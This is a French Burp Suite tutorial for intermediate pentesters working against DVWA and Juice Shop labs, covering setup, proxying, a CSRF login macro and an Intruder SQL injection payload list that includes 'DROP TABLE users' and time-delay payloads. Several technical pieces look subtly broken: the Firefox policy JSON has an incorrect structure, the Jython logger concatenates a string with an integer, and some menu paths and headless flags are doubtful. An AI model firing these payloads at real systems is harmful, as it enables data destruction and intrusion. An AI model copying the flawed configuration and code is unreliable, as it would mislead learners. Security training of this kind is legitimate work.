Introduction
Burp Suite est l'outil incontournable pour les pentesters en 2026, combinant proxy interceptant, scanner automatisé, Intruder pour fuzzing et Repeater pour manipulation manuelle. Dans un paysage de menaces évolutif, avec des apps web complexes utilisant GraphQL et WebSockets, Burp excelle par sa modularité via extensions BApp et scripts Python (Jython). Ce tutoriel intermédiaire vous guide de l'installation à des attaques avancées comme les macros pour CSRF ou payloads OAST pour blind XXE.
Pourquoi c'est crucial ? 85% des breaches web (OWASP 2026) proviennent d'injections/SQLi mal détectées. Maîtriser Burp accélère les audits de 40%, comme le montrent les rapports Bug Bounty. Nous couvrons configs précises, pièges UI et bonnes pratiques pour un workflow pro. À la fin, vous bookmarkederez ce guide pour vos prochains engagements red team.
Prérequis
- Java 17+ (OpenJDK recommandé pour performances)
- Navigateur Firefox ou Chrome
- Cible de test : DVWA ou Juice Shop (dockerisé)
- Burp Suite Professional/Community (édition Pro pour scans)
- Connaissances de base en HTTP, OWASP Top 10
- Port 8080 libre
Installation Burp Suite Community
#!/bin/bash
# Télécharger la dernière version Community (2026.x)
wget https://portswigger.net/burp/releases/download?product=community&type=Linux -O burpsuite_community.jar
# Vérifier Java
java -version
# Lancer Burp (premier lancement crée ~/.BurpSuite/)
java -jar -Xmx4g burpsuite_community.jar
# Optionnel : script d'autostart
cat > burp-launcher.sh << 'EOF'
#!/bin/bash
java -Dproxy.strmatch=false -jar ~/burpsuite_community.jar
EOF
chmod +x burp-launcher.shCe script télécharge Burp Community (gratuit, suffisant pour intermédiaire), vérifie Java et lance avec 4GB RAM pour gros projets. Évitez -Xmx trop bas (<2GB) pour crashes sur scans. Le launcher persiste les configs dans ~/.BurpSuite.
Premier lancement et création de projet
Lancez Burp via le script. À l'écran temporaire, sélectionnez New project on disk > Next > nommez pentest-dvwa.burp. Cochez Use Burp defaults. L'interface s'ouvre : Proxy (interception), Target (scope), Intruder (fuzzing). Analogie : Burp est un 'MITM' chirurgical, filtrant paquets comme un scalpel. Activez Intercept is on dans Proxy > Options pour capturer le trafic.
Configuration proxy Firefox via policy.json
{
"policies": {
"default": {
"NetworkSettings": {
"ProxyMode": 2,
"HTTPProxy": "127.0.0.1:8080",
"SSLProxy": "127.0.0.1:8080",
"ProxyBypass": ".example.com"
}
}
}
}Copiez ce JSON dans distribution/policies.json de Firefox (profil portable). Redémarrez : tout trafic HTTP/S passe par Burp port 8080. Le ProxyMode:2 force manual proxy sans UI. Ajoutez bypass pour éviter boucles (ex: Burp UI).
Interception et navigation initiale
Configurez Firefox avec le proxy (ou policy.json). Naviguez vers http://dvwa.local:80 (DVWA login). Burp intercepte : Forward pour GET/POST. Dans Target > Site map, scopez /dvwa/*. Utilisez Repeater (clic droit > Send to Repeater) pour resend paquets modifiés. Astuce : Match and Replace (Proxy > Options) pour auto-modifier headers, ex: remplacer User-Agent.
Macro XML pour CSRF bypass
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<macros length="1" name="CSRF-Macro" token="MACRO_CSRF">
<macro length="1" name="Login-Macro">
<request>
<headers length="4">
<header>POST /dvwa/login.php HTTP/1.1</header>
<header>Host: dvwa.local</header>
<header>Content-Type: application/x-www-form-urlencoded</header>
<header>Content-Length: 47</header>
</headers>
<body>username=admin&password=password&Login=Login</body>
</request>
<responses length="1">
<response>
<code>302</code>
<headers length="5">...</headers>
<body></body>
</response>
</responses>
</macro>
</macros>Importez via Repeater > Macros > Import. Cette macro simule login admin pour CSRF. Utilisez-la dans Sequencer ou Repeater pour sessions persistantes. Vérifiez token exact ; mismatch casse tout.
Payloads Intruder pour SQLi fuzzing
§' OR 1=1--
' OR '1'='1
1' UNION SELECT username,password FROM users--
'; DROP TABLE users; --
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--
1' WAITFOR DELAY '0:0:5'--Dans Intruder > Positions, marquez paramètre vulnérable (§). Chargez ce fichier via Payloads > Load. Attaque Sniper sur §. Analysez Response lengths pour diffs (erreurs SQL). Limitez à 100 payloads pour éviter DoS.
Utilisation de Repeater et Scanner
Envoyez une requête SQLi à Repeater : modifiez payload, testez timings. Pour scan : Dashboard > New scan > Audit sur scope DVWA. Résultats dans Issues. Analogie : Repeater est un labo, Scanner un robot industriel. Activez Live scanning pour real-time.
Extension Python basique (Logger)
from burp import IBurpExtender
class BurpExtender(IBurpExtender):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("Simple Logger")
print("Simple Logger loaded")
callbacks.registerHttpListener(self)
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
if messageIsRequest:
print("REQ: " + self._helpers.bytesToString(messageInfo.getRequest()))
else:
print("RESP: " + self._helpers.analyzeResponse(messageInfo.getResponse()).getStatusCode())Copiez en simple-logger.py, Extender > Add > Select file > Next. Jython compile à la volée. Logge tous HTTP dans console Burp. Étendez avec registerScannerCheck pour custom scans ; testez sur DVWA.
Ligne de commande pour scan automatisé
#!/bin/bash
# Lancer scan headless (Pro seulement)
java -jar burpsuite_pro.jar \
--session-file=pentest-dvwa.burp \
--headless \
--url=http://dvwa.local/vulnerabilities/sqli/ \
--scan-type=audit \
--report-xml=scan-results.xml
# Analyser résultats
grep -i "high" scan-results.xmlUtilisez pour CI/CD pentest. --headless évite UI, génère XML rapport. Nécessite config scope préalable. Intégrez dans Jenkins pour scans récurrents ; limitez scope pour <5min/scan.
Bonnes pratiques
- Scope strict : Définissez Target > Scope pour filtrer bruit (ex: inclure
/dvwa/, exclure/static/). - CA Burp : Installez certif dans navigateur (Proxy > Options > Import CA) pour HTTPS sans warning.
- OAST : Utilisez Collaborator pour out-of-band (ex: blind XXE) via Repeater > Send to Collaborator.
- Backup projets : Exportez .burp régulièrement ; chiffrez avec mot de passe.
- Performance : Allouez 8GB+ RAM, désactivez Logger++ si >10k req/s.
Erreurs courantes à éviter
- Proxy off : Oubli d'activer Intercept = zéro trafic ; vérifiez l'icône rouge dans Proxy.
- Certif non importée : HTTPS bloque ; toujours
http://burppour télécharger CA.der. - Payloads non encodés : Intruder échoue sur UTF-8 ; cochez URL-encode dans Options.
- Java heap overflow : Scans crashent ; monitez via
jvisualvmet augmentez -Xmx.
Pour aller plus loin
- Documentation officielle : PortSwigger Academy
- Extensions top : Turbo Intruder, Logger++, AuthMatrix (Extender > BApp Store)
- Livre : "The Web Application Hacker's Handbook" (édition 2026)
- Formations : Learni Group - Pentest Avancé
- Pratique : HackTheBox, TryHackMe labs Burp.